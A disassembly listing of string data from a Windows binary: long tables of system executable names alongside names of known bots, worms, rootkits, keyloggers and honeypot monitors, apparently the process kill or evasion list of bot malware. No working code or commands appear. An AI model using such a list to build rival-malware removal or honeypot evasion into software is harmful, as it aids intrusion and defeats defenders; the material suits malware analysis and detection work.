aDplaysvr_exe db 'dplaysvr.exe',0 ; DATA XREF: ?9:00448A38o
align 10h
aDosx_exe db 'dosx.exe',0 ; DATA XREF: ?9:00448A34o
align 4
aDoskey_exe db 'doskey.exe',0 ; DATA XREF: ?9:00448A30o
align 4
aDmremote_exe db 'dmremote.exe',0 ; DATA XREF: ?9:00448A2Co
align 4
aDmadmin_exe db 'dmadmin.exe',0 ; DATA XREF: ?9:00448A28o
aDllhst3g_exe db 'dllhst3g.exe',0 ; DATA XREF: ?9:00448A24o
align 4
aDllhost_exe db 'dllhost.exe',0 ; DATA XREF: ?9:00448A20o
aDiskperf_exe db 'diskperf.exe',0 ; DATA XREF: ?9:00448A1Co
align 10h
aDiskpart_exe db 'diskpart.exe',0 ; DATA XREF: ?9:00448A18o
align 10h
aDiantz_exe db 'diantz.exe',0 ; DATA XREF: ?9:00448A14o
align 4
aDfrgntfs_exe db 'dfrgntfs.exe',0 ; DATA XREF: ?9:00448A10o
align 4
aDfrgfat_exe db 'dfrgfat.exe',0 ; DATA XREF: ?9:00448A0Co
aDefrag_exe db 'defrag.exe',0 ; DATA XREF: ?9:00448A08o
align 4
aDebug_exe db 'debug.exe',0 ; DATA XREF: ?9:00448A04o
align 10h
aDdeshare_exe db 'ddeshare.exe',0 ; DATA XREF: ?9:00448A00o
align 10h
aDcomcnfg_exe db 'dcomcnfg.exe',0 ; DATA XREF: ?9:004489FCo
align 10h
aCtfmon_exe db 'ctfmon.exe',0 ; DATA XREF: ?9:004489F8o
align 4
aCsrss_exe db 'csrss.exe',0 ; DATA XREF: ?9:004489F4o
align 4
aCscript_exe db 'cscript.exe',0 ; DATA XREF: ?9:004489F0o
aConvert_exe db 'convert.exe',0 ; DATA XREF: ?9:004489ECo
aControl_exe db 'control.exe',0 ; DATA XREF: ?9:004489E8o
aConime_exe db 'conime.exe',0 ; DATA XREF: ?9:004489E4o
align 4
aCompact_exe db 'compact.exe',0 ; DATA XREF: ?9:004489E0o
aComp_exe db 'comp.exe',0 ; DATA XREF: ?9:004489DCo
align 10h
aCmstp_exe db 'cmstp.exe',0 ; DATA XREF: ?9:004489D8o
align 4
aCmmon32_exe db 'cmmon32.exe',0 ; DATA XREF: ?9:004489D4o
aCmdl32_exe db 'cmdl32.exe',0 ; DATA XREF: ?9:004489D0o
align 4
aClspack_exe db 'clspack.exe',0 ; DATA XREF: ?9:004489C8o
aClipsrv_exe db 'clipsrv.exe',0 ; DATA XREF: ?9:004489C4o
aClipbrd_exe db 'clipbrd.exe',0 ; DATA XREF: ?9:004489C0o
aCliconfg_exe db 'cliconfg.exe',0 ; DATA XREF: ?9:004489BCo
align 4
aCleanmgr_exe db 'cleanmgr.exe',0 ; DATA XREF: ?9:004489B8o
align 4
aCkcnv_exe db 'ckcnv.exe',0 ; DATA XREF: ?9:004489B4o
align 4
aCisvc_exe db 'cisvc.exe',0 ; DATA XREF: ?9:004489B0o
align 10h
aCipher_exe db 'cipher.exe',0 ; DATA XREF: ?9:004489ACo
align 4
aCidaemon_exe db 'cidaemon.exe',0 ; DATA XREF: ?9:004489A8o
align 4
aChkntfs_exe db 'chkntfs.exe',0 ; DATA XREF: ?9:004489A4o
aChkdsk_exe db 'chkdsk.exe',0 ; DATA XREF: ?9:004489A0o
align 4
aChcfg_exe db 'ChCfg.exe',0 ; DATA XREF: ?9:0044899Co
align 10h
aCharmap_exe db 'charmap.exe',0 ; DATA XREF: ?9:00448998o
aCalc_exe db 'calc.exe',0 ; DATA XREF: ?9:00448994o
align 4
aCacls_exe db 'cacls.exe',0 ; DATA XREF: ?9:00448990o
align 4
aBootvrfy_exe db 'bootvrfy.exe',0 ; DATA XREF: ?9:0044898Co
align 4
aBootok_exe db 'bootok.exe',0 ; DATA XREF: ?9:00448988o
align 10h
aBootcfg_exe db 'bootcfg.exe',0 ; DATA XREF: ?9:00448984o
aBlastcln_exe db 'blastcln.exe',0 ; DATA XREF: ?9:00448980o
align 4
aAutolfn_exe db 'autolfn.exe',0 ; DATA XREF: ?9:0044897Co
aAutofmt_exe db 'autofmt.exe',0 ; DATA XREF: ?9:00448978o
aAutoconv_exe db 'autoconv.exe',0 ; DATA XREF: ?9:00448974o
align 4
aAutochk_exe db 'autochk.exe',0 ; DATA XREF: ?9:00448970o
aAuditusr_exe db 'auditusr.exe',0 ; DATA XREF: ?9:0044896Co
align 10h
aAttrib_exe db 'attrib.exe',0 ; DATA XREF: ?9:00448968o
align 4
aAtmadm_exe db 'atmadm.exe',0 ; DATA XREF: ?9:00448964o
align 4
aAti2mdxx_exe db 'Ati2mdxx.exe',0 ; DATA XREF: ?9:00448960o
align 4
aAti2evxx_exe db 'ati2evxx.exe',0 ; DATA XREF: ?9:0044895Co ?9:00448EA4o
align 4
aAt_exe db 'at.exe',0 ; DATA XREF: ?9:00448958o
align 10h
aAsr_pfu_exe db 'asr_pfu.exe',0 ; DATA XREF: ?9:00448954o
aAsr_ldm_exe db 'asr_ldm.exe',0 ; DATA XREF: ?9:00448950o
aAsr_fmt_exe db 'asr_fmt.exe',0 ; DATA XREF: ?9:0044894Co
aArp_exe db 'arp.exe',0 ; DATA XREF: ?9:00448948o
aAppend_exe db 'append.exe',0 ; DATA XREF: ?9:00448944o
align 4
aAlg_exe db 'alg.exe',0 ; DATA XREF: ?9:00448940o
aAhui_exe db 'ahui.exe',0 ; DATA XREF: ?9:0044893Co
align 4
aActmovie_exe db 'actmovie.exe',0 ; DATA XREF: ?9:00448938o
align 4
aAccwiz_exe db 'accwiz.exe',0 ; DATA XREF: ?9:00448934o
align 4
aHdashcut_exe db 'HDAShCut.exe',0 ; DATA XREF: ?9:00448930o ?9:00448F74o
align 4
aKeystone_exe db 'keystone.exe',0 ; DATA XREF: ?9:0044892Co
align 4
aNwiz_exe db 'nwiz.exe',0 ; DATA XREF: ?9:00448928o
align 4
aNvcplui_exe db 'nvcplui.exe',0 ; DATA XREF: ?9:00448924o
aNvdspsch_exe db 'nvdspsch.exe',0 ; DATA XREF: ?9:00448920o
align 10h
aNvcolor_exe db 'nvcolor.exe',0 ; DATA XREF: ?9:0044891Co
aNvappbar_exe db 'nvappbar.exe',0 ; DATA XREF: ?9:00448918o
align 4
aNvudisp_exe db 'nvudisp.exe',0 ; DATA XREF: ?9:00448914o
aNvsvc32_exe db 'nvsvc32.exe',0 ; DATA XREF: ?9:00448910o
aNvuninst_exe db 'NVUNINST.EXE',0 ; DATA XREF: ?9:0044890Co
align 4
aSview_exe db 'sview.exe',0 ; DATA XREF: ?9:00448908o
align 10h
aNview_exe db 'nview.exe',0 ; DATA XREF: ?9:00448904o
align 4
aWmsoft_exe db 'wmsoft*.exe',0 ; DATA XREF: ?9:00448900o ?9:00448F68o ...
aAsr__exe db 'asr_*.exe',0 ; DATA XREF: ?9:004488FCo ?9:00448F64o ...
align 4
aSysupd_exe db 'SYSUPD.EXE',0 ; DATA XREF: ?9:004488F0o
align 10h
aSvshost_exe db 'SVSHOST.EXE',0 ; DATA XREF: ?9:004488E4o
aSvchostc_exe db 'SVCHOSTC.EXE',0 ; DATA XREF: ?9:004488DCo
align 4
aMssmpp_exe db 'MSSMPP.EXE',0 ; DATA XREF: ?9:004488D4o
align 4
aWindows12_exe db 'WINDOWS12.EXE',0 ; DATA XREF: ?9:004488D0o
align 4
aDup_exe db 'DUP.EXE',0 ; DATA XREF: ?9:004488C8o
aNsecurity_exe db 'NSECURITY.EXE',0 ; DATA XREF: ?9:004488C4o
align 10h
aInssvc_exe db 'INSSVC.EXE',0 ; DATA XREF: ?9:004488BCo
align 4
aDog_bat db 'DOG.BAT',0 ; DATA XREF: ?9:004488B8o
aMsnet_bat db 'MSNET.BAT',0 ; DATA XREF: ?9:004488B0o
align 10h
aRootkit2_exe db 'ROOTKIT2.EXE',0 ; DATA XREF: ?9:004488ACo
align 10h
aRun_bot_bat_ex db 'RUN_BOT.BAT.EXE',0 ; DATA XREF: ?9:004488A8o
aLogoner_exe db 'LOGONER.EXE',0 ; DATA XREF: ?9:004488A4o
aLogdec_exe db 'LOGDEC.EXE',0 ; DATA XREF: ?9:004488A0o
align 4
aWebxgrab_exe db 'WEBXGRAB.EXE',0 ; DATA XREF: ?9:0044889Co
align 4
aGg_exe db 'GG.EXE',0 ; DATA XREF: ?9:00448898o
align 10h
aWolff_exe db 'WOLFF.EXE',0 ; DATA XREF: ?9:00448890o
align 4
aHz_exe db 'HZ.EXE',0 ; DATA XREF: ?9:0044888Co
align 4
aWinpga_exe db 'WINPGA.EXE',0 ; DATA XREF: ?9:00448888o
align 10h
aWqrtuhx_exe db 'WQRTUHX.EXE',0 ; DATA XREF: ?9:00448884o
aDmi_exe db 'DMI.EXE',0 ; DATA XREF: ?9:00448880o
aRspool_exe db 'RSPOOL.EXE',0 ; DATA XREF: ?9:0044887Co
align 10h
aIrb_exe db 'IRB.EXE',0 ; DATA XREF: ?9:00448878o
aV1rg1n_exe db 'V1RG1N.EXE',0 ; DATA XREF: ?9:00448874o
align 4
aRopnc_exe db 'ROPNC.EXE',0 ; DATA XREF: ?9:00448870o
align 10h
aXgun_exe db 'XGUN.EXE',0 ; DATA XREF: ?9:0044886Co
align 4
aAdv693_exe db 'ADV693.EXE',0 ; DATA XREF: ?9:00448868o
align 4
aJssa_exe db 'JSSA.EXE',0 ; DATA XREF: ?9:00448864o
align 4
aV1rgf_exe db 'V1RGF.EXE',0 ; DATA XREF: ?9:00448860o
align 10h
aU_exe db 'U.EXE',0 ; DATA XREF: ?9:0044885Co
align 4
aV1rg1n_exe_0 db 'V1Rg1N.EXE',0 ; DATA XREF: ?9:00448858o
align 4
aKa6ber_exe db 'KA6BER.EXE',0 ; DATA XREF: ?9:00448854o
align 10h
aTest_exe db 'TEST.EXE',0 ; DATA XREF: ?9:00448850o
align 4
aScans_exe db 'SCANS.EXE',0 ; DATA XREF: ?9:0044884Co
align 4
aSecuraq_exe db 'SECURAQ.EXE',0 ; DATA XREF: ?9:00448848o
aPs2m_exe db 'PS2M.EXE',0 ; DATA XREF: ?9:00448844o
align 10h
aOurnik_exe db 'OURNIK.EXE',0 ; DATA XREF: ?9:00448840o
align 4
aO1o2o3o4_exe db 'O1O2O3O4.EXE',0 ; DATA XREF: ?9:0044883Co
align 4
aOf_exe db 'OF.EXE',0 ; DATA XREF: ?9:00448838o
align 4
aTamer_bat_exe db 'TAMER.BAT.EXE',0 ; DATA XREF: ?9:00448834o
align 4
a5h7h8v6b1c5_ex db '5H7H8V6B1C5.EXE',0 ; DATA XREF: ?9:00448830o
aDual_exe db 'DUAL.EXE',0 ; DATA XREF: ?9:0044882Co
align 10h
aNxm_exe db 'NXM.EXE',0 ; DATA XREF: ?9:00448828o
aGt_exe db 'GT.EXE',0 ; DATA XREF: ?9:00448824o
align 10h
aNope_exe db 'NOPE.EXE',0 ; DATA XREF: ?9:00448820o
align 4
aM_exe db 'M.EXE',0 ; DATA XREF: ?9:0044881Co
align 4
aLoadadv735_exe db 'LOADADV735.EXE',0 ; DATA XREF: ?9:00448818o
align 4
aAbo_exe db 'ABO.EXE',0 ; DATA XREF: ?9:00448814o
aLam_exe db 'LAM.EXE',0 ; DATA XREF: ?9:00448810o
aBox_exe db 'BOX.EXE',0 ; DATA XREF: ?9:0044880Co
aHtran_v1_exe db 'HTRAN_V1.EXE',0 ; DATA XREF: ?9:00448804o
align 4
aRserver_exe db 'RSERVER.EXE',0 ; DATA XREF: ?9:00448800o
aJoined_exe db 'JOINED.EXE',0 ; DATA XREF: ?9:004487FCo
align 4
aHookiat_exe db 'HOOKIAT.EXE',0 ; DATA XREF: ?9:004487F8o
aUay_exe db 'UAY.EXE',0 ; DATA XREF: ?9:004487F4o
aOwnt_exe db 'OWNT.EXE',0 ; DATA XREF: ?9:004487F0o
align 4
aWnetwork_exe db 'WNETWORK.EXE',0 ; DATA XREF: ?9:004487ECo
align 4
aWishs_exewsemg db 'WISHS.EXEWSEMGR.EXE',0 ; DATA XREF: ?9:004487E8o
aW32sim_exe db 'W32SIM.EXE',0 ; DATA XREF: ?9:004487E4o
align 4
aDisk10_exe db 'DISK10.EXE',0 ; DATA XREF: ?9:004487E0o
align 10h
aWinclean_exe db 'WINCLEAN.EXE',0 ; DATA XREF: ?9:004487DCo
align 10h
aWinuppd_exe db 'WINUPPD.EXE',0 ; DATA XREF: ?9:004487D8o
aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: ?9:004487D4o
align 4
aWiniogon_exe db 'WINIOGON.EXE',0 ; DATA XREF: ?9:004487D0o
align 4
aSpooisv_exe db 'SPOOISV.EXE',0 ; DATA XREF: ?9:004487CCo
aVideoati0_exe db 'VIDEOATI0.EXE',0 ; DATA XREF: ?9:004487C8o
align 4
aIs67538_exe db 'IS67538.EXE',0 ; DATA XREF: ?9:004487C4o
aBlkl_exe db 'BLKL.EXE',0 ; DATA XREF: ?9:004487C0o ?9:00448808o
align 4
aBulk_exe db 'BULK.EXE',0 ; DATA XREF: ?9:004487BCo
align 4
aMswdns32_exe db 'MSWDNS32.EXE',0 ; DATA XREF: ?9:004487B8o
align 4
aWinpkr_exe db 'WINPKR.EXE',0 ; DATA XREF: ?9:004487B4o
align 4
aWinsnte_exe db 'WINSNTE.EXE',0 ; DATA XREF: ?9:004487B0o
aEbay_exe db 'EBAY.EXE',0 ; DATA XREF: ?9:004487ACo
align 4
aWanmpsvc_exe db 'WANMPSVC.EXE',0 ; DATA XREF: ?9:004487A8o
align 4
aWebmsn_exe db 'WEBMSN.EXE',0 ; DATA XREF: ?9:004487A4o
align 4
aSysmgr64_exe db 'SYSMGR64.EXE',0 ; DATA XREF: ?9:004487A0o
align 4
aWmism23_exe db 'WMISM23.EXE',0 ; DATA XREF: ?9:0044879Co
aWinupdaterar_e db 'WINUPDATERAR.EXE',0 ; DATA XREF: ?9:00448798o
align 4
aWinsocket_exe db 'WINSOCKET.EXE',0 ; DATA XREF: ?9:00448794o
align 4
aSsql_exe db 'SSQL.EXE',0 ; DATA XREF: ?9:00448790o
align 4
aMssql32_exe db 'MSSQL32.EXE',0 ; DATA XREF: ?9:0044878Co
aSxot_exe db 'SXOT.EXE',0 ; DATA XREF: ?9:00448788o
align 4
aAkbot_exe db 'AKBOT.EXE',0 ; DATA XREF: ?9:00448784o
align 4
aDc_exe db 'DC.EXE',0 ; DATA XREF: ?9:00448780o
align 10h
aDcz_exe db 'DCZ.EXE',0 ; DATA XREF: ?9:0044877Co
aDcomd_exe db 'DCOMD.EXE',0 ; DATA XREF: ?9:00448778o
align 4
aUniversal_exe db 'UNIVERSAL.EXE',0 ; DATA XREF: ?9:00448774o
align 4
aUtils32_exe db 'UTILS32.EXE',0 ; DATA XREF: ?9:00448770o
aR00tkit_exe db 'R00TKIT.EXE',0 ; DATA XREF: ?9:0044876Co
aRk_exe db 'RK.EXE',0 ; DATA XREF: ?9:00448768o
align 4
aRootkit_exe db 'ROOTKIT.EXE',0 ; DATA XREF: ?9:00448764o
aT00lkit_exe db 'T00LKIT.EXE',0 ; DATA XREF: ?9:00448760o
aUpdates_exe db 'UPDATES.EXE',0 ; DATA XREF: ?9:0044875Co
aExe32_exe db 'EXE32.EXE',0 ; DATA XREF: ?9:00448758o
align 4
aExe_exe db 'EXE.EXE',0 ; DATA XREF: ?9:00448754o
aDllhst_exe db 'DLLHST.EXE',0 ; DATA XREF: ?9:0044874Co
align 4
aWindll_exe db 'WINDLL.EXE',0 ; DATA XREF: ?9:00448748o
align 4
aGsec_exe db 'GSEC.EXE',0 ; DATA XREF: ?9:00448744o
align 10h
aRunbatch_exe db 'RUNBATCH.EXE',0 ; DATA XREF: ?9:00448740o
align 10h
aLoader32_exe db 'LOADER32.EXE',0 ; DATA XREF: ?9:0044873Co
align 10h
aWebex_exe db 'WEBEX.EXE',0 ; DATA XREF: ?9:00448738o
align 4
aDowner_exe db 'DOWNER.EXE',0 ; DATA XREF: ?9:00448734o
align 4
aUrx_exe db 'URX.EXE',0 ; DATA XREF: ?9:00448730o
aPnp_exe db 'PNP.EXE',0 ; DATA XREF: ?9:0044872Co
aAsn_exe db 'ASN.EXE',0 ; DATA XREF: ?9:00448728o
aUrxbot_exe db 'URXBOT.EXE',0 ; DATA XREF: ?9:00448724o
align 4
aForbot_exe db 'FORBOT.EXE',0 ; DATA XREF: ?9:00448720o
align 4
aAgobotsvc_exe db 'AGOBOTSVC.EXE',0 ; DATA XREF: ?9:0044871Co
align 4
aWonk_exe db 'WONK.EXE',0 ; DATA XREF: ?9:00448718o
align 4
aPb_exe db 'PB.EXE',0 ; DATA XREF: ?9:00448714o
align 4
aAg32_exe db 'AG32.EXE',0 ; DATA XREF: ?9:00448710o
align 4
aAgo_exe db 'AGO.EXE',0 ; DATA XREF: ?9:00448708o
aA_exe db 'A.EXE',0 ; DATA XREF: ?9:00448704o ?9:00448894o
align 4
aPhatbot_exe db 'PHATBOT.EXE',0 ; DATA XREF: ?9:00448700o
aAgobot3_exe db 'AGOBOT3.EXE',0 ; DATA XREF: ?9:004486FCo
aAgobot_exe db 'AGOBOT.EXE',0 ; DATA XREF: ?9:004486F8o
align 4
aSyst3m33r_exe db 'SYST3M33R.EXE',0 ; DATA XREF: ?9:004486F4o
align 4
aWebdownloader_ db 'WEBDOWNLOADER.EXE',0 ; DATA XREF: ?9:004486F0o
align 10h
aWebx_exe db 'WEBX.EXE',0 ; DATA XREF: ?9:004486ECo
align 4
aXftp_exe db 'XFTP.EXE',0 ; DATA XREF: ?9:004486E8o
align 4
aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: ?9:004486E4o
align 4
aWinreg32_exe db 'WINREG32.EXE',0 ; DATA XREF: ?9:004486E0o
align 4
aConvertxdccfil db 'CONVERTXDCCFILE.EXE',0 ; DATA XREF: ?9:004486DCo
; ?9:004488C0o
aMsserv_exe db 'MSSERV.EXE',0 ; DATA XREF: ?9:004486D8o
align 4
aS0cks_exe db 'S0CKS.EXE',0 ; DATA XREF: ?9:004486D4o
align 10h
aSockets_exe db 'SOCKETS.EXE',0 ; DATA XREF: ?9:004486D0o
aSox_exe db 'SOX.EXE',0 ; DATA XREF: ?9:004486CCo
aSocks_exe db 'SOCKS.EXE',0 ; DATA XREF: ?9:004486C8o
align 10h
aClass101_exe db 'CLASS101.EXE',0 ; DATA XREF: ?9:004486C4o
align 10h
a101_exe db '101.EXE',0 ; DATA XREF: ?9:004486C0o
aMsn_exe db 'MSN.EXE',0 ; DATA XREF: ?9:004486BCo
aHax_exe db 'HAX.EXE',0 ; DATA XREF: ?9:004486B8o
aT_bat db 'T.BAT',0 ; DATA XREF: ?9:004486B4o
align 10h
aSdbot05c_exe db 'SDBOT05C.EXE',0 ; DATA XREF: ?9:004486B0o
align 10h
aSdbot05b_exe db 'SDBOT05B.EXE',0 ; DATA XREF: ?9:004486ACo
align 10h
aSd_exe db 'SD.EXE',0 ; DATA XREF: ?9:004486A8o
align 4
aSdbot_exe db 'SDBOT.EXE',0 ; DATA XREF: ?9:004486A4o
align 4
aIrxdcc_exe db 'IRXDCC.EXE',0 ; DATA XREF: ?9:004486A0o
align 10h
aOffer_exe db 'OFFER.EXE',0 ; DATA XREF: ?9:0044869Co
align 4
aIrbot_exe db 'IRBOT.EXE',0 ; DATA XREF: ?9:00448698o
align 4
aIroffer_exe db 'IROFFER.EXE',0 ; DATA XREF: ?9:00448694o
aRcc_exe db 'RCC.EXE',0 ; DATA XREF: ?9:00448690o
aWinmrt32_exe db 'WINMRT32.EXE',0 ; DATA XREF: ?9:0044868Co
align 4
aWinmrt_exe db 'WINMRT.EXE',0 ; DATA XREF: ?9:00448688o
align 4
aAntispy_exe db 'ANTISPY.EXE',0 ; DATA XREF: ?9:00448684o
aMsantispy_exe db 'MSANTISPY.EXE',0 ; DATA XREF: ?9:00448680o
align 4
aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: ?9:0044867Co
aKeylogg_exe db 'KEYLOGG.EXE',0 ; DATA XREF: ?9:00448678o
aKeylog_exe db 'KEYLOG.EXE',0 ; DATA XREF: ?9:00448674o
align 4
aKeylogger_exe db 'KEYLOGGER.EXE',0 ; DATA XREF: ?9:00448670o
align 4
aRdrbs073_exe db 'RDRBS073.EXE',0 ; DATA XREF: ?9:00448668o
align 4
aBdcli073_exe db 'BDCLI073.EXE',0 ; DATA XREF: ?9:00448664o
align 4
aHxdef073_exe db 'HXDEF073.EXE',0 ; DATA XREF: ?9:00448660o
align 4
aHxgold_exe db 'HXGOLD.EXE',0 ; DATA XREF: ?9:0044865Co
align 4
aHxdofena_exe db 'HXDOFENA.EXE',0 ; DATA XREF: ?9:00448658o ?9:0044866Co ...
align 4
aRdrbs100_exe db 'RDRBS100.EXE',0 ; DATA XREF: ?9:00448654o
align 4
aBdcli100_exe db 'BDCLI100.EXE',0 ; DATA XREF: ?9:00448650o
align 4
aHxdef100_exe db 'HXDEF100.EXE',0 ; DATA XREF: ?9:0044864Co
align 4
aXd_exe db 'XD.EXE',0 ; DATA XREF: ?9:00448644o
align 4
aXdcckit_exe db 'XDCCKIT.EXE',0 ; DATA XREF: ?9:00448640o
aKit_exe db 'KIT.EXE',0 ; DATA XREF: ?9:0044863Co
aRunthis_exe db 'RUNTHIS.EXE',0 ; DATA XREF: ?9:00448638o
aDiabl0_exe db 'DIABL0.EXE',0 ; DATA XREF: ?9:00448634o
align 4
aDiablo_exe db 'DIABLO.EXE',0 ; DATA XREF: ?9:00448630o
align 4
a6_exe db '6.EXE',0 ; DATA XREF: ?9:0044862Co
align 4
a1_exe db '1.EXE',0 ; DATA XREF: ?9:00448628o
align 4
aOwned_exe db 'OWNED.EXE',0 ; DATA XREF: ?9:00448624o
align 10h
aOmfglol_exe db 'OMFGLOL.EXE',0 ; DATA XREF: ?9:00448620o
aDoor_exe db 'DOOR.EXE',0 ; DATA XREF: ?9:0044861Co
align 4
aBd_exe db 'BD.EXE',0 ; DATA XREF: ?9:00448618o
align 10h
aSub7_exe db 'SUB7.EXE',0 ; DATA XREF: ?9:00448614o
align 4
aTrojan_exe db 'TROJAN.EXE',0 ; DATA XREF: ?9:00448610o
align 4
aHoney_exe db 'HONEY.EXE',0 ; DATA XREF: ?9:0044860Co
align 4
aRoo32_exe db 'ROO32.EXE',0 ; DATA XREF: ?9:00448608o
align 10h
aRoo_exe db 'ROO.EXE',0 ; DATA XREF: ?9:00448604o
aSysd32_exe db 'SYSD32.EXE',0 ; DATA XREF: ?9:00448600o
align 4
aAntibotty_exe db 'ANTIBOTTY.EXE',0 ; DATA XREF: ?9:004485FCo
align 4
aSelebek_exe db 'SELEBEK.EXE',0 ; DATA XREF: ?9:004485F8o
aSebek_exe db 'SEBEK.EXE',0 ; DATA XREF: ?9:004485F4o
align 4
aHoneywall_exe db 'HONEYWALL.EXE',0 ; DATA XREF: ?9:004485F0o
align 4
aHoneyd_exe db 'HONEYD.EXE',0 ; DATA XREF: ?9:004485ECo
align 4
aVirus32_exe db 'VIRUS32.EXE',0 ; DATA XREF: ?9:004485E8o
aVirus_exe db 'VIRUS.EXE',0 ; DATA XREF: ?9:004485E4o
align 10h
aTq_exe db 'TQ.EXE',0 ; DATA XREF: ?9:004485E0o
align 4
aBeast_exe db 'BEAST.EXE',0 ; DATA XREF: ?9:004485DCo
align 4
aAcc3pt_exe db 'ACC3PT.EXE',0 ; DATA XREF: ?9:004485D8o
align 10h
aMykralor_exe db 'MYKRALOR.EXE',0 ; DATA XREF: ?9:004485D4o
align 10h
aKralor_exehaxo db 'KRALOR.EXEHAXOR.EXE',0 ; DATA XREF: ?9:004485D0o
aWinslave_exe db 'WINSLAVE.EXE',0 ; DATA XREF: ?9:004485CCo
align 4
aSlave32_exe db 'SLAVE32.EXE',0 ; DATA XREF: ?9:004485C8o
aSlave_exe db 'SLAVE.EXE',0 ; DATA XREF: ?9:004485C4o
align 4
aWinmaster_exe db 'WINMASTER.EXE',0 ; DATA XREF: ?9:004485C0o
align 4
aDftpd_exe db 'DFTPD.EXE',0 ; DATA XREF: ?9:004485BCo
align 4
aTemp_exe db 'TEMP.EXE',0 ; DATA XREF: ?9:004485B8o
align 4
aStub_exe db 'STUB.EXE',0 ; DATA XREF: ?9:004485B4o
align 10h
aWrapper_exe db 'WRAPPER.EXE',0 ; DATA XREF: ?9:004485B0o
aRdr32_exe db 'RDR32.EXE',0 ; DATA XREF: ?9:004485ACo
align 4
aCiao_exe db 'CIAO.EXE',0 ; DATA XREF: ?9:004485A8o
align 4
aXtc_exe db 'XTC.EXE',0 ; DATA XREF: ?9:004485A4o
aWsg32_exe db 'WSG32.EXE',0 ; DATA XREF: ?9:004485A0o ?9:004488B4o
align 4
aRadmin22_exe db 'RADMIN22.EXE',0 ; DATA XREF: ?9:0044859Co
align 4
aRadmin21_exe db 'RADMIN21.EXE',0 ; DATA XREF: ?9:00448598o
align 4
aRview_exe db 'RVIEW.EXE',0 ; DATA XREF: ?9:00448594o
align 4
aNi_exe db 'NI.EXE',0 ; DATA XREF: ?9:00448590o
align 4
aTaskhider_exe db 'TASKHIDER.EXE',0 ; DATA XREF: ?9:0044858Co
align 4
aMswin32 db 'MSWIN32',0 ; DATA XREF: ?9:00448584o
aFoods_exe db 'FOODS.EXE',0 ; DATA XREF: ?9:00448580o
align 10h
aPostcard_exe db 'POSTCARD.EXE',0 ; DATA XREF: ?9:0044857Co
align 10h
aMsdev32_exe db 'MSDEV32.EXE',0 ; DATA XREF: ?9:00448578o
aRun0nce_exe db 'RUN0NCE.EXE',0 ; DATA XREF: ?9:00448574o
aSpools32_exe db 'SPOOLS32.EXE',0 ; DATA XREF: ?9:00448570o
align 4
aSpool32_exe db 'SPOOL32.EXE',0 ; DATA XREF: ?9:0044856Co
aCrss32_exe db 'CRSS32.EXE',0 ; DATA XREF: ?9:00448568o
align 10h
aIexploree_exe db 'IEXPLOREE.EXE',0 ; DATA XREF: ?9:00448564o
align 10h
aQq_exe db 'QQ.EXE',0 ; DATA XREF: ?9:00448560o
align 4
aWindows_update db 'WINDOWS_UPDATER01.EXE',0 ; DATA XREF: ?9:0044855Co
align 10h
aAddiq32_exe db 'ADDIQ32.EXE',0 ; DATA XREF: ?9:00448554o
aSysinfo_exe db 'SYSINFO.EXE',0 ; DATA XREF: ?9:00448550o
aWuamkoppnp_exe db 'WUAMKOPPNP.EXE',0 ; DATA XREF: ?9:00448548o
align 4
aScrh0st_exe db 'SCRH0ST.EXE',0 ; DATA XREF: ?9:00448544o
aSvch0st32_exe db 'SVCH0ST32.EXE',0 ; DATA XREF: ?9:00448540o
align 4
aSvhosts_exe db 'SVHOSTS.EXE',0 ; DATA XREF: ?9:0044853Co
aSvhost_exe db 'SVHOST.EXE',0 ; DATA XREF: ?9:00448538o
align 4
aIexpl0re_exe db 'IEXPL0RE.EXE',0 ; DATA XREF: ?9:00448530o
align 4
aSvc_exe db 'SVC.EXE',0 ; DATA XREF: ?9:0044852Co ?9:004488D8o
aZf_exe db 'ZF.EXE',0 ; DATA XREF: ?9:00448524o
align 4
aZfr_exe db 'ZFR.EXE',0 ; DATA XREF: ?9:00448520o
aWins32_exe db 'WINS32.EXE',0 ; DATA XREF: ?9:0044851Co
align 10h
aWuamgre_exe db 'WUAMGRE.EXE',0 ; DATA XREF: ?9:00448518o
aScrhost32_exe db 'SCRHOST32.EXE',0 ; DATA XREF: ?9:00448510o
align 4
aSassere_exe db 'SASSERE.EXE',0 ; DATA XREF: ?9:0044850Co
aSasser_exe db 'SASSER.EXE',0 ; DATA XREF: ?9:00448508o
align 4
aBlast_exe db 'BLAST.EXE',0 ; DATA XREF: ?9:00448504o
align 10h
aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: ?9:00448500o
aHiderun_exe db 'HIDERUN.EXE',0 ; DATA XREF: ?9:004484F0o
aTcpshell_exe db 'TCPSHELL.EXE',0 ; DATA XREF: ?9:004484E8o
align 4
aXssh_exe db 'XSSH.EXE',0 ; DATA XREF: ?9:004484E4o
align 4
aIcmd_exe db 'ICMD.EXE',0 ; DATA XREF: ?9:004484E0o ?9:00448648o
align 10h
aFtpit_exe db 'FTPIT.EXE',0 ; DATA XREF: ?9:004484DCo
align 4
aNaab_exe db 'NAAB.EXE',0 ; DATA XREF: ?9:004484D8o
align 4
aPusu_exe db 'PUSU.EXE',0 ; DATA XREF: ?9:004484D4o
align 4
aTbar_exe db 'TBAR.EXE',0 ; DATA XREF: ?9:004484D0o
align 10h
aArabian_exe db 'ARABIAN.EXE',0 ; DATA XREF: ?9:004484CCo
aArabz_exe db 'ARABZ.EXE',0 ; DATA XREF: ?9:004484C8o
align 4
aDgjdjg_exe db 'DGJDJG.EXE',0 ; DATA XREF: ?9:004484C4o
align 4
aOooo_exe db 'OOOO.EXE',0 ; DATA XREF: ?9:004484C0o
align 10h
aOoooo_exe db 'OOOOO.EXE',0 ; DATA XREF: ?9:004484BCo
align 4
aOp_exe db 'OP.EXE',0 ; DATA XREF: ?9:004484B8o
align 4
a2pac_exe db '2PAC.EXE',0 ; DATA XREF: ?9:004484B4o
align 10h
aLogix_exe db 'LOGIX.EXE',0 ; DATA XREF: ?9:004484B0o
align 4
aCash7oc_jpg db 'CASH7OC.JPG',0 ; DATA XREF: ?9:004484ACo
a0cash_exe db '0CASH.EXE',0 ; DATA XREF: ?9:004484A8o
align 4
aCash_exe db 'CASH.EXE',0 ; DATA XREF: ?9:004484A4o
align 10h
aAoautoupdatena db 'AOAUTOUPDATENAV.EXE',0 ; DATA XREF: ?9:004484A0o
aXdcc_install_e db 'XDCC_INSTALL.EXEDD.EXE',0 ; DATA XREF: ?9:0044849Co
align 4
aNetworkactivpi db 'NETWORKACTIVPIAFCTMV1.5.EXE',0 ; DATA XREF: ?9:00448498o
